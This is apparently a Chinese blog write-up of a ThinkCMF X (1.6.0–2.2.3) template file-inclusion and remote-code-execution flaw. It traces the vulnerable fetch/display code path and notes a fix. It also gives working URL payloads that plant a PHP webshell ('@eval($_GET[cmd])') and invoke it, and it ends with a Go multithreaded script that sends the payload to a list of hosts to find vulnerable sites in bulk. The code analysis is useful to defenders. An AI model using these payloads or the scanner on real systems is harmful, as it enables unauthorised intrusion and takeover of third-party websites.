影响范围

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

环境搭建

  1. 下载
  2. 访问www.xxx.com/index.php?g=install安装

漏洞复现

第一种

输入如下payload,写入shell

1
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('shandianbian.php','<?php @eval($_GET[cmd]) ?>')</php>

验证是否写入成功

1
http://www.thinkcmf.com/shandianbian.php?cmd=phpinfo();

image

第二种

文件包含刚才写入的马

1
2
http://127.0.0.1/?a=display&templateFile=README.md
http://www.thinkcmf.com/?a=display&templateFile=shandianbian.php&cmd=phpinfo();

image

代码分析

代码结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
thinkcmf  根目录
├─api api目录
│ ├─demo 演示应用api目录[可删除]
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ └─ ... 更多类库目录
├─app 应用目录
│ ├─demo 演示应用目录[可删除]
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ └─ ... 更多类库目录
│ ├─ ... 更多应用
│ ├─app.php 应用(公共)配置文件[可选]
│ ├─command.php 命令行工具配置文件[可选]
│ ├─common.php 应用公共(函数)文件[可选]
│ ├─database.php 数据库配置文件[可选]
│ ├─tags.php 应用行为扩展定义文件[可选]
├─data 数据目录(可写)
│ ├─config 动态配置目录(可写)
│ ├─route 动态路由目录(可写)
│ ├─runtime 应用的运行时目录(可写)
│ └─ ... 更多
├─public WEB 部署目录(对外访问目录)
│ ├─plugins 插件目录
│ │ └─demo 演示插件[卸载后可删除]
│ ├─static 官方静态资源存放目录(css,js,image),勿放自己项目文件
│ ├─themes 前后台主题目录
│ │ ├─admin_simpleboot3 后台默认主题
│ │ └─default 前台默认主题
│ ├─upload 文件上传目录
│ ├─api.php API入口
│ ├─index.php 入口文件
│ ├─robots.txt 爬虫协议文件
│ ├─router.php 快速测试文件
│ └─.htaccess apache重写文件
├─extend 扩展类库目录[可选]
├─vendor 第三方类库目录(Composer)
│ ├─thinkphp ThinkPHP目录
│ └─...
├─composer.json composer 定义文件
├─LICENSE 授权说明文件
├─README.md README 文件
├─think 命令行入口文件

路由模块注册等等规则查看开发手册: thinkcmf开发手册

第一种

首先我们需要了解thinkcmf的陆游掉配方式,其中访问后台的网址如下:

1
http://www.thinkcmf.com/index.php?g=admin&m=public&a=login

在thincmf中调用方式如下:

image

而在payload中,并没有设置调用模块g因此调用的是默认模块,查看thinkcmf默认模块设置application/Common/Conf/config.php

1
2
3
4
5
6
7
8
9
// 在这里进行模块注册,也可以查看已有的模块
'MODULE_ALLOW_LIST' => array('Admin','Portal','Asset','Api','User','Wx','Comment','Qiushi','Tpl','Topic','Install','Bug','Better','Pay','Cas'),
'TMPL_DETECT_THEME' => false, // 自动侦测模板主题
'TMPL_TEMPLATE_SUFFIX' => '.html', // 默认模板文件后缀
'DEFAULT_MODULE' => 'Portal', // 默认模块
'DEFAULT_CONTROLLER' => 'Index', // 默认控制器名称
'DEFAULT_ACTION' => 'index', // 默认操作名称
'DEFAULT_M_LAYER' => 'Model', // 默认的模型层名称
'DEFAULT_C_LAYER' => 'Controller', // 默认的控制器层名称

了解到默认控制器模块为Portal,模块没写就是默认的index,进入\application\Portal\Controller\IndexController.class.php查看:

1
2
3
4
5
6
7
8
9
10
11
12
namespace Portal\Controller;
use Common\Controller\HomebaseController;
/**
* 首页
*/
class IndexController extends HomebaseController {

//首页 小夏是老猫除外最帅的男人了
public function index() {
$this->display(":index");
}
}

进入父类HomebaseController查看display

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* 加载模板和页面输出 可以返回输出内容
* @access public
* @param string $templateFile 模板文件名
* @param string $charset 模板输出字符集
* @param string $contentType 输出类型
* @param string $content 模板输出内容
* @return mixed
*/
// 修复方式:public 改为 protected
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
parent::display($this->parseTemplate($templateFile), $charset, $contentType,$content,$prefix);
}

进入父类AppframeController->Controller:

1
2
3
protected function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
$this->view->display($templateFile,$charset,$contentType,$content,$prefix);
}

进入view属性的display方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// View.class.php
public function
// $templateFile 为 readme.md
display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin',$templateFile);
// 解析并获取模板内容
// 跟进这里
$content = $this->fetch($templateFile,$content,$prefix);
// 输出模板内容
$this->render($content,$charset,$contentType);
// 视图结束标签
Hook::listen('view_end');
}

进入fetch,这里将$templateFile内容带入数组$params,带入Hook::listen('view_filter',$content);:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
// parseTemplate 自动定位模板文件
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}

关于Hook操作,在这里属于行为扩展,继续跟 application\Common\Conf\tags.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
return array( // 添加下面一行定义即可
'app_init' => array(
'Common\Behavior\InitHookBehavior',
),
'app_begin' => array(
'Behavior\CheckLangBehavior',
'Common\Behavior\UrldecodeGetBehavior'
),
'view_filter' => array(
'Common\Behavior\TmplStripSpaceBehavior'
),
'admin_begin' => array(
'Common\Behavior\AdminDefaultLangBehavior'
)
)
;

在这里我们也可看代码进行理解,跟进Hook::listen在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static public function listen($tag, &$params=NULL) {
if(isset(self::$tags[$tag])) {
if(APP_DEBUG) {
G($tag.'Start');
trace('[ '.$tag.' ] --START--','','INFO');
}
foreach (self::$tags[$tag] as $name) {
APP_DEBUG && G($name.'_start');
// exec 执行某个插件
$result = self::exec($name, $tag,$params);
if(APP_DEBUG){
G($name.'_end');
trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
}
if(false === $result) {
// 如果返回false 则中断插件执行
return ;
}
}
if(APP_DEBUG) { // 记录行为的执行日志
trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
}
}
return;
}

跟进exec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static public function exec($name, $tag,&$params=NULL) {
if('Behavior' == substr($name,-8) ){
// 行为扩展必须用run入口方法
$class = $name;
$tag = 'run';
}else{
$class = "plugins\\{$name}\\{$name}Plugin";
}
//如果由 class_name 所指的类已经定义,此函数返回 true,否则返回 false。
if(class_exists($class)){ //ThinkCMF NOTE 插件或者行为存在时才执行
// 这里可以新建类
echo $class;
// 这里的 $class 是按照命令空间来定义的 namespace Behavior\ParseTemplateBehavior;
$addon = new $class();
// 从 $class 这个类中调用 run 方法 参数 $params 就是文件包含的文件名
return $addon->$tag($params);
}

}

按照命令空间进行调用类,这里调用的就是namespace Behavior\ParseTemplateBehavior;这个类的run方法,参数是我们传入的文件名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class ParseTemplateBehavior {

// 行为扩展的执行入口必须是run
public function run(&$_data){
$engine = strtolower(C('TMPL_ENGINE_TYPE'));
$_content = empty($_data['content'])?$_data['file']:$_data['content'];
$_data['prefix'] = !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
if('think'==$engine){ // 采用Think模板引擎
if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix']))
|| $this->checkCache($_data['file'],$_data['prefix'])) { // 缓存有效
//载入模版缓存文件
Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
}else{
// 进入这里执行
$tpl = Think::instance('Think\\Template');
//print_r($tpl);
$tpl->fetch($_content,$_data['var'],$_data['prefix']);
}
....

跟进fetch进行查看:

1
2
3
4
5
6
7
public function fetch($templateFile,$templateVar,$prefix='') {
print_r($templateVar); //Array ( [waitSecond] => 3 [js_debug] => ?v=1607656382 [site_name] => ThinkCMF内容管理框架 [site_host] => http://www.thinkcmf.com/ [site_root] => [site_icp] => [site_admin_email] => admin@qq.com [site_tongji] => [site_copyright] => [site_seo_title] => ThinkCMF内容管理框架 [site_seo_keywords] => ThinkCMF,php,内容管理框架,cmf,cms,简约风, simplewind,framework [site_seo_description] => ThinkCMF是简约风网络科技发布的一款用于快速开发的内容管理框架 )
$this->tVar = $templateVar;
// templateFile readme.md $prefix ""
$templateCacheFile = $this->loadTemplate($templateFile,$prefix);
Storage::load($templateCacheFile,$this->tVar,null,'tpl');
}

跟进loadTemplate 进行加载文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// templateFile  readme.md  $prefix ""
// 加载主模板并缓存
public function loadTemplate ($templateFile,$prefix='') {
if(is_file($templateFile)) {
$this->templateFile = $templateFile;
// 读取模板文件内容
$tmplContent = file_get_contents($templateFile);
}else{
$tmplContent = $templateFile;
}
// 根据模版文件名定位缓存文件
$tmplCacheFile = $this->config['cache_path'].$prefix.md5($templateFile).$this->config['cache_suffix'];

// 判断是否启用布局
if(C('LAYOUT_ON')) {
if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // 可以单独定义不使用布局
$tmplContent = str_replace('{__NOLAYOUT__}','',$tmplContent);
}else{ // 替换布局的主体内容
$layoutFile = THEME_PATH.C('LAYOUT_NAME').$this->config['template_suffix'];
// 检查布局文件
if(!is_file($layoutFile)) {
E(L('_TEMPLATE_NOT_EXIST_').':'.$layoutFile);
}
$tmplContent = str_replace($this->config['layout_item'],$tmplContent,file_get_contents($layoutFile));
}
}
// 编译模板内容
$tmplContent = $this->compiler($tmplContent);
Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
//echo $tmplCacheFile;
//Array ( [waitSecond] => 3 [js_debug] => ?v=1607656634 [site_name] => ThinkCMF内容管理框架 [site_host] => http://www.thinkcmf.com/ [site_root] => [site_icp] => [site_admin_email] => admin@qq.com [site_tongji] => [site_copyright] => [site_seo_title] => ThinkCMF内容管理框架 [site_seo_keywords] => ThinkCMF,php,内容管理框架,cmf,cms,简约风, simplewind,framework [site_seo_description] => ThinkCMF是简约风网络科技发布的一款用于快速开发的内容管理框架 ) C:\phpstudy_pro\WWW\ThinkCMFX/data/runtime/Cache/Portal/04c6e90faac2675aa89e2176d2eec7d8.php
return $tmplCacheFile;
}

loadTemplate 这里返回了一个数组,返回fetch查看进行了加载:

1
2
3
4
5
6
7
8
public function fetch($templateFile,$templateVar,$prefix='') {
print_r($templateVar); //Array ( [waitSecond] => 3 [js_debug] => ?v=1607656382 [site_name] => ThinkCMF内容管理框架 [site_host] => http://www.thinkcmf.com/ [site_root] => [site_icp] => [site_admin_email] => admin@qq.com [site_tongji] => [site_copyright] => [site_seo_title] => ThinkCMF内容管理框架 [site_seo_keywords] => ThinkCMF,php,内容管理框架,cmf,cms,简约风, simplewind,framework [site_seo_description] => ThinkCMF是简约风网络科技发布的一款用于快速开发的内容管理框架 )
$this->tVar = $templateVar;
// templateFile readme.md $prefix ""
$templateCacheFile = $this->loadTemplate($templateFile,$prefix);
// 跟进,这里进行了文件包含
Storage::load($templateCacheFile,$this->tVar,null,'tpl');
}

跟进Storage::load最终造成文件包含:

1
2
3
4
5
6
7
public function load($_filename,$vars=null){
//echo $_filename; 缓存文件名
if(!is_null($vars)){
extract($vars, EXTR_OVERWRITE);
}
include $_filename;
}

第二种

1
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('shandianbian.php','<?php @eval($_GET[cmd]) ?>')</php>

查看POC ,还是要走进fetch方法

image

AppframeController -> Controller

1
2
3
protected function fetch($templateFile='',$content='',$prefix='') {
return $this->view->fetch($templateFile,$content,$prefix);
}

view视图中寻找fetch函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
//print_r($params);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}

基础的信息和上面的漏洞利用一样,只是调用的action变成了fetch,然后多加了content,还是进入fetch()->Hook::listen()->File.class.php.load()->include,成功执行传入content代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//Template.class.php

public function loadTemplate ($templateFile,$prefix='') {
if(is_file($templateFile)) {
$this->templateFile = $templateFile;
// 读取模板文件内容
$tmplContent = file_get_contents($templateFile);
}else{
$tmplContent = $templateFile;
}
// 根据模版文件名定位缓存文件
$tmplCacheFile = $this->config['cache_path'].$prefix.md5($templateFile).$this->config['cache_suffix'];

// 判断是否启用布局
if(C('LAYOUT_ON')) {
if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // 可以单独定义不使用布局
$tmplContent = str_replace('{__NOLAYOUT__}','',$tmplContent);
}else{ // 替换布局的主体内容
$layoutFile = THEME_PATH.C('LAYOUT_NAME').$this->config['template_suffix'];
// 检查布局文件
if(!is_file($layoutFile)) {
E(L('_TEMPLATE_NOT_EXIST_').':'.$layoutFile);
}
$tmplContent = str_replace($this->config['layout_item'],$tmplContent,file_get_contents($layoutFile));
}
}
// 编译模板内容

$tmplContent = $this->compiler($tmplContent);
// 进入PUT 进行查看
Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
//echo $tmplCacheFile;
//Array ( [waitSecond] => 3 [js_debug] => ?v=1607656634 [site_name] => ThinkCMF内容管理框架 [site_host] => http://www.thinkcmf.com/ [site_root] => [site_icp] => [site_admin_email] => admin@qq.com [site_tongji] => [site_copyright] => [site_seo_title] => ThinkCMF内容管理框架 [site_seo_keywords] => ThinkCMF,php,内容管理框架,cmf,cms,简约风, simplewind,framework [site_seo_description] => ThinkCMF是简约风网络科技发布的一款用于快速开发的内容管理框架 ) C:\phpstudy_pro\WWW\ThinkCMFX/data/runtime/Cache/Portal/04c6e90faac2675aa89e2176d2eec7d8.php
return $tmplCacheFile;

File.class.php 进入PUT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function put($filename,$content,$type=''){
$dir = dirname($filename);
if(!is_dir($dir)){
mkdir($dir,0777,true);
}
echo $filename;
echo ,$content;
if(false === file_put_contents($filename,$content)){
E(L('_STORAGE_WRITE_ERROR_').':'.$filename);
}else{
$this->contents[$filename]=$content;
return true;
}
}

一个大佬的流程,分析的比较清楚

  1. Thinkcmf任意漏洞包含漏洞分析复现
  2. TinkcmfX 前台任意代码执行分析

image

漏洞批量挖掘扫描

基本流程: 获取目标氛围 + POC批量扫描

使用patyload : http://www.thinkcmf.com/?a=fetch&content=%3C?=phpinfo();exit();

批量获取

编写多线程脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
package main


import (
"fmt"
"time"
"sync"
"bufio"
"os"
"net"
"regexp"
"net/http"
"crypto/tls"
"io/ioutil"
"golang.org/x/text/transform"
"golang.org/x/text/encoding"
"golang.org/x/text/encoding/unicode"
"golang.org/x/net/html/charset"

)


var (
ch chan bool
wg sync.WaitGroup
filename string
savename string
path string
threads int
timeout int
titleRe = regexp.MustCompile(`>(.*?)\s?</title>`)

)


func init() {
threads = 3 // 线程数量
timeout = 2 // 超时
path = "/?a=fetch&content=%3C?=phpinfo();exit();" // 请求路径
filename = "test.txt" // 读取路径
savename = "save.txt" // 存储结果路径
}


func main() {
ch = make(chan bool, threads)
urllist , num, err := readLines(filename)
if err != nil {
fmt.Println("读取路径数据错误 !" , err)
os.Exit(0)
}
fmt.Println("共扫描:",num)


for _, v := range urllist {
urlpath := "http://" + v + path
ch <- true
wg.Add(1)
go requestworker(urlpath)
}
wg.Wait()
}


func requestworker(url string) {
defer func() {
<-ch
wg.Done()
}()

var req *http.Request
var err error

req, err = http.NewRequest("GET", url, nil)
if err != nil {
fmt.Println("请求错误 !")
}

client := createHTTPClient()
time.Sleep(1e9)
resp, err1 := client.Do(req)
if err1 != nil {
fmt.Println("网站超时错误 !",url,err1)
return
}

defer resp.Body.Close()

reader := bufio.NewReader(resp.Body)
e := determineEncoding(reader)
utf8Reader := transform.NewReader(reader, e.NewDecoder())
bodyss, err := ioutil.ReadAll(utf8Reader)
if err != nil {
bodyss = []byte("")
}

respBody := string(bodyss)
matched, err := regexp.MatchString("phpinfo()", respBody)
if err != nil {
fmt.Println("正则匹配错误 ! ",err)
os.Exit(0)
}
if matched {
fmt.Println(url+"存在thinkcmf文件包含漏洞 !")
tracefile(url+"\n",savename)
} else {
fmt.Println(url+"漏洞不存在 !")
}
}


func tracefile(str_content,savename string) {
fd,_:=os.OpenFile(savename,os.O_RDWR|os.O_CREATE|os.O_APPEND,0644)
fd_content:=str_content
buf:=[]byte(fd_content)
fd.Write(buf)
fd.Close()
}


func determineEncoding(r *bufio.Reader) encoding.Encoding {
b, err := r.Peek(1024)
if err != nil {
return unicode.UTF8
}
e, _, _ := charset.DetermineEncoding(b, "")
return e
}


func createHTTPClient() *http.Client {
// 不校验证书
tr := &http.Transport{
Dial: (&net.Dialer{
Timeout: time.Duration(timeout) * time.Second,
Deadline: time.Now().Add(time.Duration(timeout) * time.Second),
KeepAlive: time.Duration(timeout) * time.Second,
}).Dial,
TLSHandshakeTimeout: time.Duration(timeout) * time.Second,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}

// 主要是这里构造超时
client := &http.Client{
Timeout: time.Duration(timeout) * time.Second,
Transport: tr,
}
return client
}


func readLines(path string) ([]string, int, error) {
file, err := os.Open(path)
if err != nil {
return nil,0, err
}
defer file.Close()

var lines []string
linecount :=0
scanner := bufio.NewScanner(file)
for scanner.Scan() {
lines = append(lines, scanner.Text())
linecount++
}
return lines,linecount,scanner.Err()